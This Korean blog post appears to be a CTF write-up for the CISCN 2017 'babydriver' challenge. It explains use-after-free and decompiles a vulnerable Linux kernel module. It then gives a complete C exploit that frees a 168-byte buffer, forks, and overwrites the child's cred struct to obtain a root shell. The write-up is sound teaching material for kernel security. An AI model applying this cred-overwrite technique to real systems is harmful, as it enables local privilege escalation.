본문으로 바로가기

Kernel (6) - CISCN 2017 babydriver write-up ( Linux kernel UAF )

Contents

  • What is UAF?

  • CISCN 2017 babydriver

    • setting

    • analysis

    • exploit

  • Conclusion


What is UAF(first-fit)?

UAFUse After Free의 약자이다.

말 그대로, 힙 공간을 사용 한 후 힙을 해제했을때 발생되는 취약점이다.

아래 코드를 보자.

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
   int *heap1;
   int *heap2;
   int *heap3;

   heap1 = (int *)malloc(sizeof(int) * 50);
   heap2 = (int *)malloc(sizeof(int) * 50);

   printf("heap1 address : %p\n", heap1);
   printf("heap2 address : %p\n", heap2);

   *heap2 = 1234;
   printf("heap2 number : %d\n", *heap2);

   printf("free heap2 :)\n");
   free(heap2);

   heap3 = (int *)malloc(sizeof(int) * 50);
   printf("heap3 address : %p\n", heap3);
   printf("heap3 value : %d\n", *heap3);

   return 0;
}

heap1,heap2에 두번 malloc 해주고, heap2에 1234라는 값을 넣은 후 heap2를 free하였다.

그리고 heap3을 다시 똑같은 크기로 할당하였다.

결과는 어떨까?


juntae@ubuntu:~/kernel/babydriver/UAF_test$ ./code 
heap1 address : 0x1a56010
heap2 address : 0x1a560e0
heap2 number : 1234
free heap2 :)
heap3 address : 0x1a560e0
heap3 value : 1234

heap2heap3의 주소와 값이 같을것을 볼 수 있다.

이는 heap영역의 first-fit알고리즘 때문이다.

first-fit이란 힙 영역에서 사용 가능한 공간을 검색해서, 첫 번째로 찾아낸 곳에 메모리를 할당하는 방식으로, 메모리 할당 크기가 충분하면 바로 그곳에 할당을 완료하여 검색을 끝낸다.

위의 코드에서 각각 malloc하고 free하는 부분에 breakpoint를 걸고 디버깅을 시도해보자.


위는 free하기 전의 힙의 상황이다.



free를 하고 나서의 모습이다.


3번째의 malloc에서는 새로운 힙 공간을 할당하지 않고, 원래 사용했던 heap공간인 0x602000을 사용한 것을 볼 수 있다.

힙 공간을 할당할때, 맨 앞의 힙부터 차례차례 검사 한 결과, first-fit알고리즘에 의해 free`된 영역이 사용하기 적합하다는 것을 판단하고, 해당 공간에 값을 할당한 것이다.

결과적으로 메모리를 효율적으로 사용하지만, 반대로 공간을 재사용 할경우, 원하지 않는 값을 참조할 수 있어지기 때문에, 취약점으로 발전할 수 있기 때문이다.

이 글은 일반적인 UAF를 설명하는 글은 아니기 때문에, UAF에 관한 예제 문제는 설명하지 않고 넘어가도록 하겠다.


CISCN 2017 babydriver

위에 설명한 UAF취약점이 kernel영역에서 발생함을 이용하여 exploit하는 문제이다.

cred구조체를 이용하는 방법,tty구조체를 이용하는 방법으로 총 2가지 방법이 있지만, 나는 UAF취약점으로 exploit해 보겠다.

바이너리와 커널 이미지 등은 babydriver.zip 에 있다.


setting

압축을 해제하면 아래와 같은 파일들이 있다.

  1. boot.sh : qemu의 실행 옵션이 들어있는 쉘 스크립트

  2. bzImage : 빌드된 커널의 이미지 파일

  3. rootfs.cpio : 압축되어있는 파일 시스템


e d i t b o o t . s h
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep
  1. boot.sh파일에는 위와같은 쉘스크립트가 작성되어 있다.

  2. -enable-kvmqemu-kvm의 사용을 의미한다. 여기서 kvmKernel-based Virtual Machine의 약자이다.

  3. -m 64M은 메모리를 64M만큼 사용한다는 것을 의미한다.

  4. +smepSMEP보호기법을 사용함을 의미 한다.

일단 -enable-kvm옵션으로 qemu-kvm을 사용함을 알 수 있다.

따라서 VMware의 옵션에 들어가서 해당 기능을 켜야 한다.

VMware의 설정에 들어가서, 해당 부분을 활성화 시키면 된다.

그리고 커널 디버깅을 위하여 boot.sh를 수정한다.

해당 부분에 -s옵션을 붙히면 된다. -s옵션은 디버깅을 위해 1234 포트를 열고, 기다린다는 뜻이다.

마지막으로 -m 64M으로 할당되어있는 메모리를 조금 늘려준다. 메모리가 적을경우 오류가 날 수도 있고, kernel panic오류가 발생할 수 있기 때문이다.

이 글에서는 디버깅을 사용하지 않아서 꼭 하지는 않아도 된다 ㅎㅎ

#!/bin/bash

qemu-system-x86_64 -s -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

최종적인 스크립트는 위와 같다.

이제 해당 파일에 실행권한을 주고, 쉘스크립트를 실행시킨다.

juntae@ubuntu:~/kernel/babydriver$ sudo ./boot.sh

위와 같이 ctf권한을 가진 쉘이 실행된다.

이제 exploit할때는 이 권한을 root로 만들어 파일을 읽으면 된다.


f i n d f i l e s y s t e m

binwalkcpio를 확인해보면 압축되어있음을 알 수 있다.

따라서, 파일 시스템을 구하기 위하여 cpio의 압축을 해제한다.

일단 rootfs.cpio파일을 rootfs.gz로 이름을 변경한다.

그리고 gzip -d rootfs.gz라는 명령으로 압축을 해제해준다.


그럼 아래와 같이 파일시스템이 들어있는것을 알 수 있다.

마지막으로, rootfs안에있는 파일들을 linux로 빼오기 위해서, 아래와 같은 명령을 실행한다.

juntae@ubuntu:~/kernel/babydriver/file_system$ cpio -id -v < rootfs
  • -i : 압축을 해제한다.

  • -d : 새로운 디렉토리를 만들고, 그곳에 압축을 해제한다.

  • -v : 압축을 해제하고, 파일명 목록을 출력한다.

  • < : 명령은 좌측에, 파일명은 우측에 적는다. <를 사용한다면 압축할 수 있다.


그럼 위와같이 파일 시스템이 구해짐을 알 수 있다.

우리가 분석해야 할 것은, babydriver라는 kernel module이다.

따라서, kernel module이 위치하는 폴더로 이동해서, 그 파일을 추출한다.

juntae@ubuntu:~/kernel/babydriver/file_system$ cd lib/modules/4.4.72/
juntae@ubuntu:~/kernel/babydriver/file_system/lib/modules/4.4.72$ ls babydriver.ko

위와같이 취약성이 있는 모듈을 확인할 수 있다.



Analysis

IDA.ko파일을 디컴파일 해보면 해당 모듈에는 아래와 같은 함수들이 있음을 알 수 있다.

  • babyrelease

  • babyopen

  • babyioctl

  • babywrite

  • babyread

  • babydriver_init

  • babydriver_exit


IDA로 해당 커널 모듈을 열어보면 babydev_t라는 구조체를 사용함을 알 수 있다.

shift + F1을 입력하면 해당 모듈이 참조하는 구조체를 모두 보여준다.

여기서 babydevice_t를 찾아서 우클릭 후 edit를 클릭하면 아래와 같이 구조체가 선언되어있음을 알 수 있다.

struct babydevice_t
{
   char *device_buf;
   size_t device_buf_len;
};

그리고 프로그램을 보면 cdev...이라는변수가 있는데, 이는 커널이 내부적으로 캐릭터 디바이스를 포현하기위해 사용하는 cdev 구조체이다.

커널이 open,read같은 함수를 호출하기 위해 할당 및 등록된다.

아래와 같은 구조체를 사용한다.


struct cdev
{
struct kobject kobj;
struct module *owner;
   const struct file_operations *ops;
   struct list_head list; dev_t dev;
   unsigned int count;
}

분석하다보면 __fentry__라는 부분이 존재한다.

어떤 옵션을 키면 mcount라는 함수가 __fentry__라고 대체된다고 한다.

근데 둘이 하는 역할을 똑같다. ftrace를 할때 사용된다고 하는데, 문제에 아무 영향도 안주므로, 그냥 무시하고 넘어가도 될 듯 한다.

이제 하나하나 분석을 시작해보자.

분석은 커널 모듈이 실행될때 제일 먼저 실행되는 함수인 init함수부터 해보자.


babydriver_init()

int __cdecl babydriver_init()
{
 __int64 v0; // rdx
 int v1; // edx
 __int64 v2; // rsi
 __int64 v3; // rdx
 int v4; // ebx
 class *v5; // rax
 __int64 v6; // rdx
 __int64 v7; // rax

 if ( alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
   cdev_init(&cdev_struct, &fops);
   v2 = babydev_no;
   cdev_struct.owner = &_this_module;
   v4 = cdev_add(&cdev_struct, babydev_no, 1LL);
   if ( v4 >= 0 )
  {
     v5 = _class_create(&_this_module, "babydev", &babydev_no);
     babydev_class = v5;
     if ( v5 )
    {
       v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
       v1 = 0;
       if ( v7 )
         return v1;
       printk(&unk_351, 0LL, 0LL);             // create device failed
       class_destroy(babydev_class);
    }
     else
    {
       printk(&unk_33B, "babydev", v6);        // create class failed
    }
     cdev_del(&cdev_struct);
  }
   else
  {
     printk(&unk_327, v2, v3);                 // cdev init failed
  }
   unregister_chrdev_region(babydev_no, 1LL);
   return v4;
}
 printk(&unk_309, 0LL, v0);                    // alloc chrdev region failed
 return 1;
}

일단 제일 먼저 진행되는 함수이고, alloc_chrdev_region함수를 이용하여 캐릭터 디바이스의 번호를 동적으로 할당한다.


*dev성공적인 경우 디바이스 번호가 할당
firstminor디바이스에 할당될 첫번째 번호
count디바이스 개수
*name디바이스 이름( /proc/devices와 /proc/sysfs에 등록됨 )

alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")

babydev_no0이라는 디바이스 번호를 할당한다고 할 수 있다.

그리고 할당한 babydev라는 디바이스에 cdev_init,cdev_add와 같은 함수들로 class를 설정해주거나 device_create함수로 직접 디바이스를 등록시키며 함수가 종료된다.

위 내용은 단순히 환경 설정 용도이고, 문제 풀이와는 무관하다.


babydriver_exit()

void __cdecl babydriver_exit()
{
 device_destroy(babydev_class, babydev_no);
 class_destroy(babydev_class);
 cdev_del(&cdev_struct);
 unregister_chrdev_region(babydev_no, 1LL);
}

모듈이 종료될 때 사용되는 함수이다.

destroydel,un과같은 단어가 포함되는것을 보아 babydriver_init함수에서 등록시킨 디바이스나 클래스들을 해제시키는 역할을 하는 함수임을 알 수 있다.


babyioctl()

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
 size_t v3; // rdx
 size_t v4; // rbx
 __int64 v5; // rdx
 __int64 result; // rax

 _fentry__(filp, *&command);
 v4 = v3;
 if ( command == 65537 )
{
   kfree(babydev_struct.device_buf);
   babydev_struct.device_buf = _kmalloc(v4, 0x24000C0LL);
   babydev_struct.device_buf_len = v4;
   printk("alloc done\n", 0x24000C0LL, v5);
   result = 0LL;
}
 else
{
   printk(&unk_2EB, v3, v3);                   // default arg is %lld
   result = -22LL;
}
 return result;
}

만약 인자로 받은 command65537이면 할당한 device_buf를 해제한다.

size_t v3; // rdx인데 인자는 rdi,rsi,rdx순으로 넘기기 때문에 rdx는 3번째 인자임을 알 수 있다.

그리고 v4만큼 kmalloc하는데 여기서 0x24000C이라는 옵션을 준다.

그래서 gfp.h의 코드를 보았다.


/* Plain integer GFP bitmasks. Do not use this directly. */
#define ___GFP_DMA 0x01u
#define ___GFP_HIGHMEM 0x02u
#define ___GFP_DMA32 0x04u
#define ___GFP_MOVABLE 0x08u
#define ___GFP_RECLAIMABLE 0x10u
#define ___GFP_HIGH 0x20u
#define ___GFP_IO 0x40u
#define ___GFP_FS 0x80u
#define ___GFP_ZERO 0x100u
#define ___GFP_ATOMIC 0x200u
#define ___GFP_DIRECT_RECLAIM 0x400u
#define ___GFP_KSWAPD_RECLAIM 0x800u
#define ___GFP_WRITE 0x1000u
#define ___GFP_NOWARN 0x2000u
#define ___GFP_RETRY_MAYFAIL 0x4000u
#define ___GFP_NOFAIL 0x8000u
#define ___GFP_NORETRY 0x10000u
#define ___GFP_MEMALLOC 0x20000u
#define ___GFP_COMP 0x40000u
#define ___GFP_NOMEMALLOC 0x80000u
#define ___GFP_HARDWALL 0x100000u
#define ___GFP_THISNODE 0x200000u
#define ___GFP_ACCOUNT 0x400000u
#ifdef CONFIG_LOCKDEP
#define ___GFP_NOLOCKDEP 0x800000u
#else
#define ___GFP_NOLOCKDEP 0
#endif

이렇게 define 하는것을 알 수 있다.

위에서 #define되어있는 옵션을 보고 대충 어떤 플래그를 사용할지 유추할 수 있다.

내가 생각하기에는 ___GFP_THISNODE(0x200000)를 사용하고, 나머지 플래그 두개를 사용한다고 생각하는데, 여기서 0x02짜리 플래그 하나와 0x10짜리 플래그 하나, 0x08짜리 플래그 하나와 0x04짜리 플래그 하나를 사용한다고 유추할 수 있다.


THISNODE옵션은 지정된 노드에서만 할당을 허용하는 옵션이다.

나머지 옵션은 수에 따라 여러 경우가 존재하므로, 여기서는 적지 않겠다.

참고로, 위의 코드가 어떤 커널버전을 사용하는지는 확실하지 않다.

또한, 해당 문제 풀이에 중요한 부분은 아이다.

다시 babyioctl로 돌아와서, 이 함수는 commanddevice_buffree시키고 v4라는 arg에 따라서 v4(arg)만큼 malloc하고, device_buf_lenv4(agr)로 설정함을 알 수 있다.


하지만 free를 하고 전역변수의 값을 NULL로 바꾸지 않아 chunk 의 주소가 전역변수에 남게 된다.


babyopen()

int __fastcall babyopen(inode *inode, file *filp)
{
 __int64 v2; // rdx

 _fentry__(inode, filp);
 babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
 babydev_struct.device_buf_len = 64LL;
 printk("device open\n", 0x24000C0LL, v2);
 return 0;
}

해당 디바이스가 open되었을때 사용되는 함수이다.

device_buf에 64만큼의 heap을 하나 할당한다.

마찬가지로 device_buf_len에도 64를 설정한다.

kmem_cache_alloc_trace함수는 slub캐시에서 slub object를 할당받는 함수라고 한다.

문제 풀이와는 관련이 없다.

다음 함수로 넘어가보자.


babyread()

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
 size_t v4; // rdx
 ssize_t result; // rax
 ssize_t v6; // rbx

 _fentry__(filp, buffer);
 if ( !babydev_struct.device_buf )
   return -1LL;
 result = -2LL;
 if ( babydev_struct.device_buf_len > v4 )
{
   v6 = v4;
   copy_to_user(buffer);
   result = v6;
}
 return result;
}

device_buf가 존재하지 않으면 함수를 종료한다.

만약 v4(rdx) == 3번째 인자device_buf_len보다 크다면 copy_to_user() 함수를 이용해 커널 영역의 데이터를 두 번째 인자로 전달받은 유저 공간에 받아온다.


baby_write()

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
 size_t v4; // rdx
 ssize_t result; // rax
 ssize_t v6; // rbx

 _fentry__(filp, buffer);
 if ( !babydev_struct.device_buf )
   return -1LL;
 result = -2LL;
 if ( babydev_struct.device_buf_len > v4 )
{
   v6 = v4;
   copy_from_user();
   result = v6;
}
 return result;
}

전달받은 세 번째 인자가 device_buf_len보다 작을 경우 copy_from_user() 함수를 이용해 두 번째 인자로 전달받은 유저 공간의 데이터를 커널 영역에 전달한다.


babyrelease()

int __fastcall babyrelease(inode *inode, file *filp)
{
 __int64 v2; // rdx

 _fentry__(inode, filp);
 kfree(babydev_struct.device_buf);
 printk("device release\n", filp, v2);
 return 0;
}

babyrelease()는 해당 디바이스를 close()할 경우 호출되는 함수이다.

device_buf 멤버에 저장된 주소를 해제한다.

babyioctl()함수와 다르게 babydev_sturct 구조체의 멤버들을 새로 저장하지 않는다. 즉, heap 할당을 관리하는 구조체가 해제된 포인터를 가르키게 된다.

이렇게 해제된 메모리를 가르키는 포인터를 dangling pointer라고 한다.



Exploit

  • 첫번째 fdopen()한다.

    • 현재 전역변수는 64bytes짜리 첫번째 heap을 가르키고 있다.

  • 첫번째 fd에서 babyioctl()168bytes만큼 heap을 할당한다.

    • 힙이 해제되고, 168bytes만큼 다시 할당하므로 현재 전역변수는 168bytes짜리 heap을 가리키고 있다.

  • 첫번째 fdclose()한다.

    • 그럼 전역변수가 해제된 168bytes heap을 가르키고 있다. (dangling pointer)

  • user space에서 fork()를 호출한다.

    • 첫번째 fdUAF에 의해 cred struct가 할당된다.

    • 아직도 전역변수는 168bytes heap을 가르키고 있다.

  • 두번째 fd에서 babywrite()를이용하여 값을 수정한다.

    • 168bytes짜리 전역변수를 가르키므로 cred struct를 수정할 수 있다.

  • system("/bin/sh")를 한다.

    • root권한의 쉘이 획득됨.


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
   int first_fd = open("/dev/babydev", O_RDWR);
   int second_fd = open("/dev/babydev", O_RDWR);

   ioctl(first_fd, 65537, 168);
   close(first_fd);

   int pid = fork();

   if(pid < 0)
  {
       printf("ERROR");
       exit(-1);
  }

   else if(pid == 0)
  {
       char fake_cred[30] = {0};
       write(second_fd, fake_cred, 28);

       system("/bin/sh");
       exit(0);
  }

   close(second_fd);

   return 0;
}

작성 한 익스플로잇은 -static으로 컴파일 하고, 파일 시스템이 들어있는 디렉토리에 파일을 옮기고 아래와 같은 명령을 실행하자.

find . | cpio -o --format=newc > exploit.cpio

마지막으로, boot.sh를 수정하고 실행하면 끝!


최종적으로는 아래와 같은 스크립트를 실행하자.

#!/bin/bash

qemu-system-x86_64 -s -initrd (exploit.cpio path) -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 256M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

익스코드에서 fork()함수를 사용하는것을 볼 수 있다.

그리고 이 함수를 사용하면 왜 cred struct가 할당되는 것일까?

fork함수는 내부적으로 clone함수를 사용하고, 자세한 내부 루틴은 아래와 같다.


fork() -> clone() -> do_fork() -> copy_process() -> copy_creds() -> prepare_creds() -> kmem_cache_alloc()

이렇게 fork를 하면 기존 cred를 복사할 공간이 필요하다.

그래서 내부에서는 kmem_cache_alloc()을 이용하여 이미 잘린 메모리를 가져온다.

그리고 cred struct를 할당하는 이 과정에서 UAF가 발생한다면?

cred struct는 총 168bytes이다. UAF로 이 메모리를 할당하여 수정하면 된다.


권한 설정을 하는 부분은 앞쪽 30bytes가량이므로 write(second_fd, fake_cred, 28);해주었다.

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exploit
[    7.694453] device open
[    7.696076] device open
[    7.697377] alloc done
[    7.699022] device release
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)

root쉘을 획득했다!


Conclusion

처음으로 풀어본 커널 CTF 문제이다.

처음에는 스택오버플로우로 간단하게 가려고 했는데, 커널 디버깅이랑 환경 구축을 너무 쉽게 설명해둔 글이 올라와서 그거 보고 참고좀 많이 했다.

이번 글에서는 디버깅 과정을 첨부하지 않아서 아쉬움이 많은데, 언젠간 디버깅 과정이 담긴 이쁜 커널 글이 올라올거다!

커널 열심히 해야징 ㅋㅋ 커널 생각보다 꿀잼 ㅋㅋ

환경구축이 귀찮은거 빼면 다좋다.

아 그리고 티스토리 마크다운 지원 좀 잘해줬으면 좋겠다. 사진 안들어가는거 개같당!


Reference